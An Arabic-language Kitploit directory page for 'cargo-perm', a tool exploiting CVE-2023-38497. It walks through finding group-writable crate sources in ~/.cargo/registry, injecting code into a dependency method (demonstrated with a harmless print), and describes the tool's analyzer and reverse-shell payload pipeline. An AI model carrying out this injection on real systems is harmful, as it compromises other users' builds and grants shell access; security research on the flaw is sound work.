Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cargo-perm — استغلال Cargo من CVE-2023-38497 | Kitploit
أدوات/GitHubGitHub/lucas-cauhe/cargo-perm
تحليل الثغرات الأمنيةتحليل الكودالاستغلالالهندسة العكسيةأمن سلسلة التوريدتطوير الحمولات
GitHublucas-cauhe/cargo-perm

cargo-perm

استغلال Cargo من CVE-2023-38497

عرض المستودع
11منذ 2 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

الوصف

تم اكتشاف ثغرة أمنية جديدة في إصدار cargo 1.7.0 كما هو موضح هنا.

خطوة بخطوة

أولاً، يجب التأكد من أن إصدار cargo الخاص بك ضعيف.

cargo --version

لنفترض أن لدي مشروع cargo يحتوي على الملف التالي src/main.rs:

root@kitploit:~
use num_bigint::BigInt;
use std::str::FromStr;

// Silly guessing game
fn main() {
    let secret_number = BigInt::from_str("123456789");
    loop {
        println!("Make a guess: ");
        let mut guess = String::new();
        std::io::stdin()
            .read_line(&mut guess)
            .expect("Error reading stdin");
        let guess = BigInt::from_str(guess.trim());
        if guess == secret_number {
            println!("That's right");
            break;
        }
    }
}

إذا قمت بتشغيل البرنامج:

root@kitploit:~
cargo run
Make a guess:
20
Make a guess:
123456789
That's right!

لا شيء خاطئ هنا.

بعد ذلك، بالنسبة لجميع الحزم (crates) المثبتة في نظامك، قم بتصفية تلك التي تحتوي على صلاحيات سيئة التكوين، أي تلك التي يمكن لأعضاء المجموعة أو أي مستخدمين آخرين في الجهاز الكتابة إليها.

find ~/.cargo/registry/src/* -type f -writable -print | egrep "*\.rs"

سينتج هذا قائمة بجميع ملفات مصدر Rust الضعيفة. من بين هذه، اختر الملف المناسب لهجومك، والذي يجب أن يحتوي على method مستخدمة في الكود المصدري لمشروع cargo المستهدف.

ومن القائمة أعلاه، أجد الملف الضعيف التالي:

$HOME/.cargo/registry/src/index.crates.io-.../num-bigint-0.1.44/src/bigint.rs

والذي كما وعدنا سابقاً لديه الصلاحيات التالية: -rw-rw-r--

لذلك يمكن تعديله بواسطة أي مستخدم في نفس مجموعة مالك مشروع cargo، هذا مخيف. لكن تخيل أن أي مستخدم يمكنه الكتابة في هذا الملف، حسناً هناك حزم (crates) بهذه الصلاحيات.

الآن يمكنك إضافة مستخدم جديد إلى جهازك، أو استخدام مستخدم موجود آخر غير مستخدم المشروع الذي ينتمي إلى نفس مجموعة المستخدم للملف الذي نستهدفه. على سبيل المثال، ملف المصدر هذا في جهازي لديه المالك والمجموعة التالية: atreides people ومستخدم آخر لدي، يعيد ما يلي عند تشغيل الأمر id عليه:

uid=54322(bob) gid=54331(bob) groups=54331(bob),1000(people)

الآن نعرف أن المستخدم bob يمكنه الكتابة في ملفنا المستهدف وأي ملف آخر بهذه الصلاحيات. قم بالتبديل إلى bob وتابع.

بالنظر إلى لعبة التخمين الخاصة بنا، نرى أنها تستخدم method from_str من هيكل BigInt. قد تكون هذه method مثيرة للاهتمام للنظر إليها.

من الملف المستهدف قمت باستخراج هذه القطعة من الكود:

root@kitploit:~
impl FromStr for BigInt {
    type Err = ParseBigIntError;

    #[inline]
    fn from_str(s: &str) -> Result<BigInt, ParseBigIntError> {
        BigInt::from_str_radix(s, 10)
    }
}

الآن، ماذا لو جعلتها تبدو هكذا

root@kitploit:~
impl FromStr for BigInt {
    type Err = ParseBigIntError;

    #[inline]
    fn from_str(s: &str) -> Result<BigInt, ParseBigIntError> {
        println!("Message from beyond");
        BigInt::from_str_radix(s, 10)
    }
}

وإعادة تشغيله بعد تنظيف دليل الهدف (target directory):

root@kitploit:~
cargo clean && cargo run
Make a guess:
20
Message from beyond
Make a guess:
123456789
Message from beyond
That's right!

واو! تخيل أنك تكتب مشروع cargo الخاص بك وتتلقى الرسائل التالية.

لاحظ أن هذا سيحدث فقط عندما يتم حذف دليل الهدف مسبقاً، أي أن cargo يجب أن يقوم بتجميع الحزمة (crate) بعد تعديلك للملف المصدر.

الآن، هذه مجرد عرض توضيحي لكيفية استغلال هذه الثغرة، لكن تخيل لو قمت بوضع أي نوع من الحمولات (payload) داخل ملف مصدر. هذا المستودع يهدف إلى إنشاء اتصال شل عكسي (reverse shell) مع حساب المستخدم عندما يقوم بتشغيل مشروع cargo.

هذه ثغرة كبيرة إذا أخذت في الاعتبار أنه قد تكون هناك تثبيتات لـ cargo بصلاحيات الجذر (root) وبالتالي فإن الحمولة الموضوعة سيتم تنفيذها بهذه الصلاحيات.

هيكل المشروع

في هذا المشروع ستجد الأدوات التالية:

محلل الثغرات

يبحث عبر أرشيف cargo المحلي ومشروع cargo المستهدف للعثور على جميع الطرق (methods) المحددة التي يمكن استغلالها في الكود المصدري للهدف. إذا كانت هناك method معينة ترغب في استغلالها أو لم يكن لديك أذونات قراءة على مشروع cargo المستهدف، قم بتخطي vanalyzer في خط سير الهجوم.

root@kitploit:~
./vanalyzer/run.sh <target-project-path> <target-username>

الحمولات المتاحة

جميع أنواع الحمولات (شل عكسي بشكل أساسي وبرامج ضارة أخرى) التي يمكن وضعها داخل كود مصدر الحزمة (crate) المستهدفة. جميع الحمولات المتاحة حالياً هي:

  • شل عكسي (أول ما سيتم تنفيذه)

التكامل

شل وهمي يستقبل الأوامر لتشغيل محلل الثغرات وأخذ إحدى الحمولات المذكورة أعلاه وطريقة (method) محددة للاستغلال من محلل الثغرات، ويدمج (ينسخ ويلصق) الحمولة في الكود المصدري.

المتطلبات

  • cargo-public-api

خط سير الهجوم

  1. تشغيل الشل الوهمي (مشروع cargo)

cargo run

  • عبر vanalyzer + أوامر التكامل

vanalyzer <cargo_project> <target_username>

integrate <file_no> <method_no> <payload>

  • عبر الاستغلال (exploit)

exploit <path_to_local_archive_crate_file> <method's_name> <payload>

  1. تشغيل الأمر ok

ok

تنزيل الأداة